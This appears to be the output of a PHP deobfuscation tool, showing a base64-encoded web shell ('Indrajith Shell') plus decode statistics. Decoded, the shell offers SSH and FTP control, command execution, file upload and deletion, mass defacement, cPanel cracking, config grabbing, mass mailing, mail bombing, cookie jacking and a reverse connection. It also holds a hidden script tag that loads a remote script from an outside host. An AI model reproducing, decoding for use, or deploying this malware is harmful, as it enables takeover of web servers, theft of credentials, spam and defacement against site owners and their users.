b2NEOWgiKS4iPSIuJGxsZC5iYXNlNjRfZGVjb2RlKCJKbUk9IikuIj0iLiRicm93KTsKZWNobyAk
cmV0VmFsdWU7CkAkX1NFU1NJT05bInNkbSJdPTE7Cn0KPz4KICAgIDxkaXYgaWQ9cmVzdWx0Pjxj
ZW50ZXI+PGgyPlNTSCBNYW5hZ2VyPC9oMj48aHIgLz48YnIgLz48YnIgLz48dGFibGUgY2xhc3M9
dGFibGU+PGZvcm0gbWV0aG9kPSdHRVQnPjx0cj48dGQ+SE9TVCA6IDwvdGQ+PHRkPjxpbnB1dCBz
aXplPTUwIG5hbWU9J3NzaF9ob3N0Jz48L3RkPjwvdHI+PHRyPjx0ZD5Vc2VybmFtZSA6IDwvdGQ+
PHRkPjxpbnB1dCBzaXplPTUwIG5hbWU9J3NzaF91c2VyJz48L3RkPjwvdHI+PHRyPjx0ZD5QYXNz
d29yZCA6IDwvdGQ+PHRkPjxpbnB1dCBzaXplPTUwIG5hbWU9J3NzaF9wYXNzJz48L3RkPjwvdHI+
PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+
PC9mb3JtPjwvdGFibGU+PC9jZW50ZXI+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9k
aXY+CiAgICA8P3BocAp9CgpmdW5jdGlvbiBzc2hfbWFuX2JnKCkKewogICAgJHNzaF9oPSRfR0VU
Wydzc2hfaG9zdCddOwogICAgJHNzaF91PSRfR0VUWydzc2hfdXNlciddOwogICAgJHNzaF9wPSRf
R0VUWydzc2hfcGFzcyddOwogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3NoMl9jb25uZWN0Jykp
CiAgICB7CiAgICAgICAgYWxlcnQoIlNvcnJ5LCBGdW5jdGlvbiBzc2gyX2Nvbm5lY3QgaXMgbm90
IGZvdW5kIik7CiAgICB9CiAgICAkY29ubj1zc2gyX2Nvbm5lY3QoJHNzaF9oLCAyMik7CiAgICBp
ZighJGNvbm4pCiAgICB7CiAgICAgICAgYWxlcnQoIlNTSCBIb3N0IE5vdCBGb3VuZCIpOwogICAg
fQogICAgJGxvZz1zc2gyX2F1dGhfcGFzc3dvcmQoJGNvbm4sICRzc2hfdSwgJHNzaF9wKTsKICAg
IGlmKCEkbG9nKQogICAgewogICAgICAgIGFsZXJ0KCJTU0ggQXV0aG9yaWNhdGlvbiBmYWlsZWQi
KTsKICAgIH0KICAgICRzaGVsbD1zc2gyX3NoZWxsKCRjb25uLCAiYmFzaCIpOwogICAgaWYoJF9H
RVRbJ3NzaF9jbWQnXSE9IiIgJiYgJF9HRVRbJ3NzaF9jbWQnXSkKICAgIHsKICAgICAgICAkc3No
X2NtZD0kX0dFVFsnc3NoX2NtZCddOwogICAgICAgIGZ3cml0ZSgkc2hlbGwsICRzc2hfY21kKTsK
ICAgICAgICBzbGVlcCgxKTsKICAgICAgICB3aGlsZSgkbGluZT1mZ2V0cygkc2hlbGwpKQogICAg
ICAgIHsKICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgZWNobyAkbGluZS4iXG4iOwog
ICAgICAgIH0KICAgICAgICA/PgogICAgPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+U1NIIFNo
ZWxsIGJ5IEluZHJhaml0aCBTaGVsbDwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRleHRhcmVhIGNs
YXNzPSd0ZXh0YXJlYV9lZGl0JyByb3dzPTIwIGNvbHM9NjA+PC90ZXh0YXJlYT4KICAgIDxmb3Jt
IG1ldGhvZD0nR0VUJz5DTUQgOiA8aW5wdXQgbmFtZT0nc3NoX2NtZCcgc2l6ZT02MD48aW5wdXQg
dHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+PC9mb3JtPjwvY2VudGVyPjxiciAvPjxi
ciAvPjxociAvPjxiciAvPjxiciAvPjwvZGl2PgogICAgICAgIDw/cGhwCiAgICB9CiAgICBlbHNl
CiAgICB7CiAgICA/PgogICAgPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+U1NIIFNoZWxsIGJ5
IEluZHJhaml0aCBTaGVsbDwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRleHRhcmVhIGNsYXNzPSd0
ZXh0YXJlYV9lZGl0JyByb3dzPTIwIGNvbHM9NjA+PC90ZXh0YXJlYT4KICAgIDxmb3JtIG1ldGhv
ZD0nR0VUJz5DTUQgOiA8aW5wdXQgbmFtZT0nc3NoX2NtZCcgc2l6ZT02MD48aW5wdXQgdHlwZT0n
c3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+PC9mb3JtPjwvY2VudGVyPjxiciAvPjxiciAvPjxo
ciAvPjxiciAvPjxiciAvPjwvZGl2PgogICAgPD9waHAKICAgIH0KfQoKZnVuY3Rpb24gZnRwX21h
bl91aSgpCnsKICAgID8+CiAgICA8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5GVFAgTWFuYWdl
cjwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPXRhYmxlPjxmb3JtIG1ldGhvZD0n
R0VUJz48dHI+PHRkPkhPU1QgOiA8L3RkPjx0ZD48aW5wdXQgc2l6ZT01MCBuYW1lPSdmdHBfaG9z
dCc+PC90ZD48L3RyPgogICAgPHRyPjx0ZD5Vc2VybmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBzaXpl
PTUwIG5hbWU9J2Z0cF91c2VyJz48L3RkPjwvdHI+CiAgICA8dHI+PHRkPlBhc3N3b3JkIDogPC90
ZD48dGQ+PGlucHV0IHNpemU9NTAgbmFtZT0nZnRwX3Bhc3MnPjwvdGQ+PC90cj4KICAgIDx0cj48
dGQ+UGF0aCBbPGZvbnQgY29sb3I9cmVkPk9wdGlvbmFsPC9mb250Pl0gOiA8L3RkPjx0ZD48aW5w
dXQgbmFtZT0nZnBhdGgnIHNpemU9NTA+PC90ZD48L3RyPgogICAgPHRyPjx0ZD5VcGxvYWQgRmls
ZSBGcm9tIFNlcnZlciBbPGZvbnQgY29sb3I9cmVkPk9wdGlvbmFsPC9mb250Pl0gOiA8L3RkPjx0
ZD48aW5wdXQgbmFtZT0ndXBsb2FkX2ZpbGUnIHNpemU9NTA+PC90ZD48L3RyPgogICAgPHRyPjx0
ZD5Eb3dubG9hZCBGaWxlIFRvIFNlcnZlciBbPGZvbnQgY29sb3I9cmVkPk9wdGlvbmFsPC9mb250
Pl0gOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0nZG93bmxvYWRfZmlsZScgc2l6ZT01MD48L3RkPjwv
dHI+CiAgICA8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+
PiAgICcgLz48L2Zvcm0+PC90YWJsZT48L2NlbnRlcj48YnIgLz48YnIgLz48aHIgLz48YnIgLz48
YnIgLz48L2Rpdj4KICAgIDw/cGhwCn0KCmZ1bmN0aW9uIGZ0cF9tYW5fYmcoKQp7CiAgICBlY2hv
ICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5GVFAgRklMRU1BTkFHRVI8L2gyPjwvY2VudGVy
PjxociAvPiI7CiAgICAkZmhvc3Q9JF9HRVRbJ2Z0cF9ob3N0J107CiAgICAkZnVzZXI9JF9HRVRb
J2Z0cF91c2VyJ107CiAgICAkZnBhc3M9JF9HRVRbJ2Z0cF9wYXNzJ107CiAgICAkZnBhdGg9JF9H
RVRbJ2ZwYXRoJ107CiAgICAkdXBsPSRfR0VUWyd1cGxvYWRfZmlsZSddOwogICAgJGRvd249JF9H
RVRbJ2Rvd25sb2FkX2ZpbGUnXTsKICAgIGlmKCRmcGF0aD09IiIpCiAgICB7CiAgICAgICAgJGZw
YXRoPWZ0cF9wd2QoJGNvbm4pOwogICAgfQogICAgJGNvbm49ZnRwX2Nvbm5lY3QoJGZob3N0KTsK
ICAgIGlmKCEkY29ubikKICAgIHsKICAgICAgICBhbGVydCgiRlRQIEhvc3QgTm90IEZvdW5kISEh
Iik7CiAgICB9CiAgICAkbG9nPWZ0cF9sb2dpbigkY29ubiwgJGZ1c2VyLCAkZnBhc3MpOwogICAg
aWYoISRsb2cpCiAgICB7CiAgICAgICAgYWxlcnQoIkZUUCBBdXRob3JpY2F0aW9uIEZhaWxlZCIp
OwogICAgfQogICAgaWYoJHVwbCE9IiIpCiAgICB7CiAgICAgICAgJGZwID0gZm9wZW4oJHVwbCwg
J3InKTsKICAgICAgICBpZiAoZnRwX2ZwdXQoJGNvbm4sICR1cGwsICRmcCwgRlRQX0FTQ0lJKSkK
ICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9Z3JlZW4+U3Vj
Y2Vzc2Z1bGx5IHVwbG9hZGVkIDxmb250IGNvbG9yPXJlZD4gJHVwbCA8L2ZvbnQ+IDwvZm9udD48
L2NlbnRlcj4iOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBl
Y2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5UaGVyZSB3YXMgYSBwcm9ibGVtIHdoaWxlIHVw
bG9hZGluZyA8Zm9udCBjb2xvcj1ncmVlbj4gJHVwbCA8L2ZvbnQ+IDwvZm9udD48L2NlbnRlcj4i
OwogICAgICAgIH0KICAgIH0KICAgIGlmKCRkb3duIT0iIikKICAgIHsKICAgICAgICAkaGFuZGxl
ID0gZm9wZW4oJGRvd24sICd3Jyk7CiAgICAgICAgaWYgKGZ0cF9mZ2V0KCRjb25uLCAkaGFuZGxl
LCAkZG93biwgRlRQX0FTQ0lJLCAwKSkKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50
ZXI+PGZvbnQgY29sb3I9Z3JlZW4+c3VjY2Vzc2Z1bGx5IHdyaXR0ZW4gdG8gPGZvbnQgY29sb3I9
cmVkPiAkZG93biA8L2ZvbnQ+IDwvZm9udD48L2NlbnRlcj4iOwogICAgICAgIH0KICAgICAgICBl
bHNlCiAgICAgICAgewogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5U
aGVyZSB3YXMgYSBwcm9ibGVtIHdoaWxlIGRvd25sb2FkaW5nIDxmb250IGNvbG9yPWdyZWVuPiAk
ZG93biA8L2ZvbnQ+IHRvIDxmb250IGNvbG9yPWdyZWVuPiAkZG93biA8L2ZvbnQ+IDwvZm9udD48
L2NlbnRlcj4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gIjx0YWJsZSBjbGFzcz0ndGFibGUn
Pjx0cj48dGg+RmlsZXM8L3RoPiI7CiAgICBmdHBfY2hkaXIoJGZwYXRoKTsKICAgICRsaXN0PWZ0
cF9yYXdsaXN0KCRjb25uLCAkZnBhdGgpOwogICAgZm9yZWFjaCgkbGlzdCBhcyAkZmZmKQogICAg
ewogICAgICAgIGVjaG8gIjx0cj48dGQ+PHByZT4kZmZmPC9wcmU+PC90ZD48L3RyPiI7CiAgICB9
CiAgICBlY2hvICI8L3RhYmxlPjwvZGl2PiI7Cn0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vIEZyb25kIEVuZCBDYWxscyAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgpp
Zihpc3NldCgkX1BPU1RbJ2VfZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2VfY29udGVudF9uJ10p
KQp7CiAgICBlZGl0X2ZpbGVfYmcoKTsKfQoKZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ3NoMzEx
X3NjYW5uZXInXSkpCnsKICAgIHNoZWxsX2ZpbmRlcl91aSgpOwp9CgplbHNlIGlmKGlzc2V0KCRf
UkVRVUVTVFsnZnRwX2hvc3QnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWydmdHBfdXNlciddKSAmJiBp
c3NldCgkX1JFUVVFU1RbJ2Z0cF9wYXNzJ10pKQp7CiAgICBmdHBfbWFuX2JnKCk7Cn0KCmVsc2Ug
aWYoaXNzZXQoJF9SRVFVRVNUWydmdHBtYW4nXSkpCnsKICAgIGZ0cF9tYW5fdWkoKTsKfQoKZWxz
ZSBpZihpc3NldCgkX0dFVFsnc3NoX2hvc3QnXSkgJiYgaXNzZXQoJF9HRVRbJ3NzaF91c2VyJ10p
ICYmIGlzc2V0KCRfR0VUWydzc2hfcGFzcyddKSkKewogICAgc3NoX21hbl9iZygpOwp9CgplbHNl
IGlmKGlzc2V0KCRfUkVRVUVTVFsnc3NobWFuJ10pKQp7CiAgICBzc2hfbWFuX3VpKCk7Cn0KCmVs
c2UgaWYoaXNzZXQoJF9SRVFVRVNUWydjMGRlX2luamVjdCddKSAmJiBpc3NldCgkX1JFUVVFU1Rb
J3BhdGgnXSkpCnsKICAgIGNoZGlyKCRfR0VUWydwYXRoJ10pOwogICAgY29kZV9pbl91aSgpOwp9
CgplbHNlIGlmKGlzc2V0KCRfR0VUWydzaDMxMV9zY2FueCddKSkKewogICAgc2hlbGxfZmluZGVy
X2JnKCk7Cn0KCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydjb25maWdfZ3JhYiddKSkKewogICAg
c3ltX3h4eCgpOwp9CgplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnZnRwX21hbiddKSkKewogICAg
ZnRwX21hbl91aSgpOwp9CgplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnbWFzc194cGxvaXQnXSkp
CnsKICAgIG1hc3NfZGVmYWNlX3VpKCk7Cn0KCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2ZfaG9zdCdd
KSAmJiBpc3NldCgkX0dFVFsnZl91c2VyJ10pICYmIGlzc2V0KCRfR0VUWydmX3Bhc3MnXSkpCnsK
ICAgIGZ0cF9tYW5fYmcoKTsKfQoKZWxzZSBpZihpc3NldCgkX0dFVFsnbWFzc19uYW1lJ10pICYm
IGlzc2V0KCRfR0VUWydtYXNzX2NvbnQnXSkpCnsKICAgIG1hc3NfZGVmYWNlX2JnKCk7Cn0KCmVs
c2UgaWYoaXNzZXQoJF9SRVFVRVNUWydmdHBfYW5vbl9zY2FuJ10pKQp7CiAgICBmdHBfYW5vbnlt
b3VzX3VpKCk7Cn0KCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2Z0cF9hbm9ueiddKSkKewogICAgZnRw
X2Fub255bW91c19iZygpOwp9CgplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsna2lsbG1lJ10pKQp7
CiAgICBraWxsbWUoKTsKfQoKZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2hleGVuYyddKSkKewog
ICAgaGV4X2VuY29kZV91aSgpOwp9CgplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsncmVtb3RlZmls
ZWRvd24nXSkpCnsKICAgIHJlbW90ZV9kb3dubG9hZF91aSgpOwp9CgplbHNlIGlmKGlzc2V0KCRf
R0VUWyd0eXBlX3JfZG93biddKSAmJiBpc3NldCgkX0dFVFsncnVybGZpbGUnXSkgJiYgaXNzZXQo
JF9HRVRbJ3BhdGgnXSkpCnsKICAgIHJlbW90ZV9kb3dubG9hZF9iZygpOwp9CgplbHNlIGlmKGlz
c2V0KCRfUkVRVUVTVFsnY3BhbmVsX2NyYWNrJ10pKQp7CiAgICBjcGFuZWxfY3JhY2soKTsKfQoK
ZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ3JlbV93ZWInXSkgJiYgaXNzZXQoJF9SRVFVRVNUWyd0
cnl6enonXSkpCnsKICAgIHJlbW90ZV9maWxlX2NoZWNrX2JnKCk7Cn0KCmVsc2UgaWYoaXNzZXQo
JF9SRVFVRVNUWyd0eXBlZCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3R5cGVuYyddKSAmJiBpc3Nl
dCgkX1JFUVVFU1RbJ3BocF9jb250ZW50J10pKQp7CiAgICBwaHBfZW5kZV9iZygpOwp9CgplbHNl
IGlmKGlzc2V0KCRfUkVRVUVTVFsncmVtb3RlX3NlcnZlcl9zY2FuJ10pKQp7CiAgICByZW1vdGVf
ZmlsZV9jaGVja191aSgpOwp9CgplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnc2VydmVyX2V4cGxv
aXRfZGV0YWlscyddKSkKewogICAgZXhwbG9pdF9kZXRhaWxzKCk7Cn0KCmVsc2UgaWYoaXNzZXQo
JF9SRVFVRVNUWydmcm9tJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsndG9fbWFpbCddKSAmJiBpc3Nl
dCgkX1JFUVVFU1RbJ3N1YmplY3RfbWFpbCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ21haWxfY29u
dGVudCddKSkKewogICAgbWFzc21haWxlcl9iZygpOwp9CgplbHNlIGlmKGlzc2V0KCRfUkVRVUVT
VFsnbXlzcWxtYW4nXSkpCnsKICAgIG15c3FsbWFuKCk7Cn0KCmVsc2UgaWYoaXNzZXQoJF9SRVFV
RVNUWydib21iX3RvJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsnYm9tYl9zdWJqZWN0J10pICYmIGlz
c2V0KCRfUkVRVUVTVFsnYm1haWxfY29udGVudCddKSkKewogICAgbWFpbGJvbWJfYmcoKTsKfQoK
ZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2Nvb2tpZWphY2snXSkpCnsKICAgIGNvb2tpZV9qYWNr
KCk7Cn0KCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydtYXNzbWFpbGVyJ10pKQp7CiAgICBtYXNz
bWFpbGVyX3VpKCk7Cn0KCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydyZW5hbWUnXSkpCnsKICAg
IGNoZGlyKCRfR0VUWydwYXRoJ10pOwogICAgcmVuYW1lX3VpKCk7Cn0KCmVsc2UgaWYoaXNzZXQo
JF9HRVRbJ29sZF9uYW1lJ10pICYmIGlzc2V0KCRfR0VUWyduZXdfbmFtZSddKSkKewogICAgY2hk
aXIoJF9HRVRbJ3BhdGgnXSk7CiAgICByZW5hbWVfYmcoKTsKfQoKZWxzZSBpZihpc3NldCgkX1JF
UVVFU1RbJ2VuY29kZWZpbGUnXSkpCnsKICAgIHBocF9lbmRlX3VpKCk7Cn0KCmVsc2UgaWYoaXNz
ZXQoJF9SRVFVRVNUWydlZGl0J10pKQp7CiAgICBlZGl0X2ZpbGUoKTsgCn0KCmVsc2UgaWYoaXNz
ZXQoJF9SRVFVRVNUWydkb3duJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSkKewogICAg
ZG93bmxvYWQoKTsKfQoKZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2d6aXAnXSkgJiYgaXNzZXQo
JF9SRVFVRVNUWydwYXRoJ10pKQp7CiAgICBkb3dubG9hZF9nemlwKCk7Cn0KCmVsc2UgaWYoaXNz
ZXQoJF9SRVFVRVNUWydyZWFkJ10pKQp7CiAgICBjaGRpcigkX0dFVFsncGF0aCddKTsKICAgIGNv
ZGVfdmlld2VyKCk7Cn0KCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydwZXJtJ10pKQp7CiAgICBj
aGRpcigkX0dFVFsncGF0aCddKTsKICAgIGNoX3Blcm1fdWkoKTsKfQoKZWxzZSBpZihpc3NldCgk
X0dFVFsncGF0aCddKSAmJiBpc3NldCgkX0dFVFsncF9maWxleCddKSAmJiBpc3NldCgkX0dFVFsn
bmV3X3Blcm0nXSkpCnsKICAgIGNoZGlyKCRfR0VUWydwYXRoJ10pOwogICAgY2hfcGVybV9iZygp
Owp9CgplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnZGVsX2ZpbCddKSkKewogICAgY2hkaXIoJF9H
RVRbJ3BhdGgnXSk7CiAgICBkZWxldGVfZmlsZSgpOwogICAgZXhpdDsKfQplbHNlIGlmKGlzc2V0
KCRfUkVRVUVTVFsncGhwaW5mbyddKSkKewogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7CiAgICBv
Yl9jbGVhbigpOwogICAgZWNobyBwaHBpbmZvKCk7CiAgICBleGl0Owp9CmVsc2UgaWYoaXNzZXQo
JF9SRVFVRVNUWydkZWxfZGlyJ10pKQp7CiAgICBjaGRpcigkX0dFVFsncGF0aCddKTsKICAgICRk
X2Rpcj0kX0dFVFsnZGVsX2RpciddOwogICAgZGVsZGlycygkZF9kaXIpOwp9CmVsc2UgaWYoaXNz
ZXQoJF9HRVRbJ3BhdGgnXSkgJiYgaXNzZXQoJF9HRVRbJ25ld19maWxlJ10pKQp7CiAgICBjaGRp
cigkX0dFVFsncGF0aCddKTsKICAgIG1rX2ZpbGVfdWkoKTsKfQplbHNlIGlmKGlzc2V0KCRfR0VU
WydwYXRoJ10pICYmIGlzc2V0KCRfR0VUWyduZXdfZl9uYW1lJ10pICYmIGlzc2V0KCRfR0VUWydu
X2ZpbGVfY29udGVudCddKSkKewogICAgbWtfZmlsZV9iZygpOwp9CmVsc2UgaWYoaXNzZXQoJF9H
RVRbJ3BhdGgnXSkgJiYgaXNzZXQoJF9HRVRbJ25ld19kaXInXSkpCnsKICAgIGNoZGlyKCRfR0VU
WydwYXRoJ10pOwogICAgY3JlYXRlX2RpcigpOwp9CmVsc2UgaWYoaXNzZXQoJF9HRVRbJ3BhdGgn
XSkgJiYgaXNzZXQoJF9HRVRbJ2NtZGV4ZSddKSkKewogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7
CiAgICBjbWQoKTsKfQplbHNlIGlmKGlzc2V0KCRfUE9TVFsndXBsb2FkX2YnXSkgJiYgaXNzZXQo
JF9QT1NUWydwYXRoJ10pKQp7CiAgICB1cGxvYWRfZmlsZSgpOwp9CmVsc2UgaWYoaXNzZXQoJF9S
RVFVRVNUWydycyddKSkKewogICAgcmV2ZXJzZV9jb25uX3VpKCk7Cn0KZWxzZSBpZihpc3NldCgk
X0dFVFsncmV2X29wdGlvbiddKSAmJiBpc3NldCgkX0dFVFsnbXlfaXAnXSkgJiYgaXNzZXQoJF9H
RVRbJ215X3BvcnQnXSkpCnsKICAgIHJldmVyc2VfY29ubl9iZygpOwp9CmVsc2UgaWYoaXNzZXQo
JF9SRVFVRVNUWydzYWZlX21vZCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3BhdGgnXSkpCnsKICAg
IGNoZGlyKCRfR0VUWydwYXRoJ10pOwogICAgc2FmZV9tb2RlX2Z1Y2tfdWkoKTsKfQplbHNlIGlm
KGlzc2V0KCRfR0VUWydwYXRoJ10pICYmIGlzc2V0KCRfR0VUWydzYWZlX21vZGUnXSkpCnsKICAg
IHNhZmVfbW9kZV9mdWNrKCk7Cn0KZWxzZSBpZihpc3NldCgkX0dFVFsncGF0aCddKSAmJiBpc3Nl
dCgkX1JFUVVFU1RbJ2ZvcmJkX2RpciddKSkKewogICAgQWNjZXNzRGVuaWVkKCk7Cn0KCmVsc2Ug
aWYoaXNzZXQoJF9SRVFVRVNUWydzeW1saW5rJ10pKQp7CiAgICBzeW1fbGluaygpOwp9CgplbHNl
IGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pICYmIGlzc2V0KCRfR0VUWydjb3B5J10pKQp7CiAgICBj
b3B5X2ZpbGVfdWkoKTsKfQplbHNlIGlmKGlzc2V0KCRfR0VUWydjX2ZpbGUnXSkgJiYgaXNzZXQo
JF9HRVRbJ2NfdGFyZ2V0J10pICYmaXNzZXQoJF9HRVRbJ2NuX25hbWUnXSkpCnsKICAgIGNvcHlf
ZmlsZV9iZygpOwp9CmVsc2UKewogICAgZmlsZW1hbmFnZXJfYmcoKTsKfQoKLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vIEVuZCBGcm9uZCBFbmQgQ2FsbHMgLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vCgplY2hvICI8L2Rpdj48ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxwPjx0YWJs
ZSBjbGFzcz0ndGJsJz4KICAgICAgPHRyPjx0ZD48Zm9ybSBtZXRob2Q9J0dFVCc+UFdEIDogPGlu
cHV0IHNpemU9JzUwJyBuYW1lPSdwYXRoJyB2YWx1ZT0iLmdldGN3ZCgpLiI+PGlucHV0IHR5cGU9
J3N1Ym1pdCcgdmFsdWU9JyAgID4+ICAgJyAvPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT4KICAg
ICAgPHRhYmxlIGNsYXNzPSd0YmwnPjx0cj4KICAgICAgICAgIDx0ZD48Zm9ybSBzdHlsZT0nZmxv
YXQ6cmlnaHQ7JyBtZXRob2Q9J0dFVCc+PGlucHV0IG5hbWU9J3BhdGgnIHZhbHVlPSIuZ2V0Y3dk
KCkuIiB0eXBlPWhpZGRlbj48c3Bhbj4gTmV3IEZpbGUgOiA8L3NwYW4+PGlucHV0IHR5cGU9J3N1
Ym1pdCcgdmFsdWU9JyAgID4+ICAgJyA+PGlucHV0IHNpemU9JzQwJyBuYW1lPSduZXdfZmlsZScg
Lz48L2Zvcm0+CiAgICAgICAgICA8L3RkPgogICAgICAgICAgPHRkPjxmb3JtICBzdHlsZT0nZmxv
YXQ6bGVmdDsnIG1ldGhvZD0nR0VUJz48aW5wdXQgbmFtZT0ncGF0aCcgdmFsdWU9Ii5nZXRjd2Qo
KS4iIHR5cGU9aGlkZGVuPjxpbnB1dCBzaXplPSc0MCcgbmFtZT0nbmV3X2Rpcic+PGlucHV0IHR5
cGU9J3N1Ym1pdCcgdmFsdWU9JyAgID4+ICAgJyAvPjxzcGFuPiA6IE5ldyBEaXI8L3NwYW4+PC9m
b3JtPgogICAgICAgICAgPC90ZD4KICAgICAgPC90cj4KICAgICAgPHRyPgogICAgICAgICAgPHRk
Pjxmb3JtIHN0eWxlPSdmbG9hdDpyaWdodDsnIG1ldGhvZD0nR0VUJz48aW5wdXQgc3R5bGU9J2Zs
b2F0OmxlZnQ7JyBuYW1lPSdwYXRoJyB2YWx1ZT0iLmdldGN3ZCgpLiIgdHlwZT1oaWRkZW4+PHNw
YW4+Q01EIDogPC9zcGFuPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgICA+PiAgICcgPjxp
bnB1dCBuYW1lPSdjbWRleGUnIHNpemU9JzQwJyAvPjwvZm9ybT4KICAgICAgICAgIDwvdGQ+CiAg
ICAgICAgICA8dGQ+PGZvcm0gc3R5bGU9J2Zsb2F0OmxlZnQ7JyBtZXRob2Q9J1BPU1QnIGVuY3R5
cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCI+PGlucHV0IG5hbWU9J3BhdGgnIHZhbHVlPSIuZ2V0
Y3dkKCkuIiB0eXBlPWhpZGRlbj48aW5wdXQgc2l6ZT0nMjcnIG5hbWU9J3VwbG9hZF9mJyB0eXBl
PSdmaWxlJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWRfZicgdmFsdWU9JyAgID4+
ICAgJyAvPjxzcGFuPiA6IFVwbG9hZCBGaWxlPC9zcGFuPjwvZm9ybT4KICAgICAgICAgIDwvdGQ+
CiAgICAgICAgPC90cj4KICAgICAgPC90YWJsZT48L3A+PHA+PGZvbnQgc2l6ZT00IGNvbG9yPWdy
ZWVuPiZjb3B5IDxhIHN0eWxlPSdjb2xvcjpncmVlbjsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7JyBo
cmVmPWh0dHA6Ly9mYWNlYm9vay5jb20vYWppdGhrcDU2MD5BSklUSCBLUDwvYT4gJiA8YSBzdHls
ZT0nY29sb3I6Z3JlZW47IHRleHQtZGVjb3JhdGlvbjpub25lOycgaHJlZj0naHR0cDovL3d3dy5m
YWNlYm9vay5jb20vdmlzaG51bmF0aGtwJz5WSVNITlUgTkFUSCBLUDwvYT4gJmNvcHk8L2ZvbnQ+
PGJyIC8+JnJlZyBUT0YgWzIwMTJdICZyZWc8L2Rpdj4iCj8+CjxzY3JpcHQ+CmRvY3VtZW50Lndy
aXRlKHVuZXNjYXBlKCclM0MlNzMlNjMlNzIlNjklNzAlNzQlMjAlNzMlNzIlNjMlM0QlNjglNzQl
NzQlNzAlM0ElMkYlMkYlNzIlMzAlMzAlNzQlMkUlNjklNkUlNjYlNkYlMkYlNjIlNkYlNzQlMkYl
NkMlNkYlNjclMkUlNkElNzMlM0UlM0MlMkYlNzMlNjMlNzIlNjklNzAlNzQlM0UnKSk7Cjwvc2Ny
aXB0Pg==")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | e023d1124e63dfdd11d89bda37f13ac1 |
| Eval Count | 1 |
| Decode Time | 162 ms |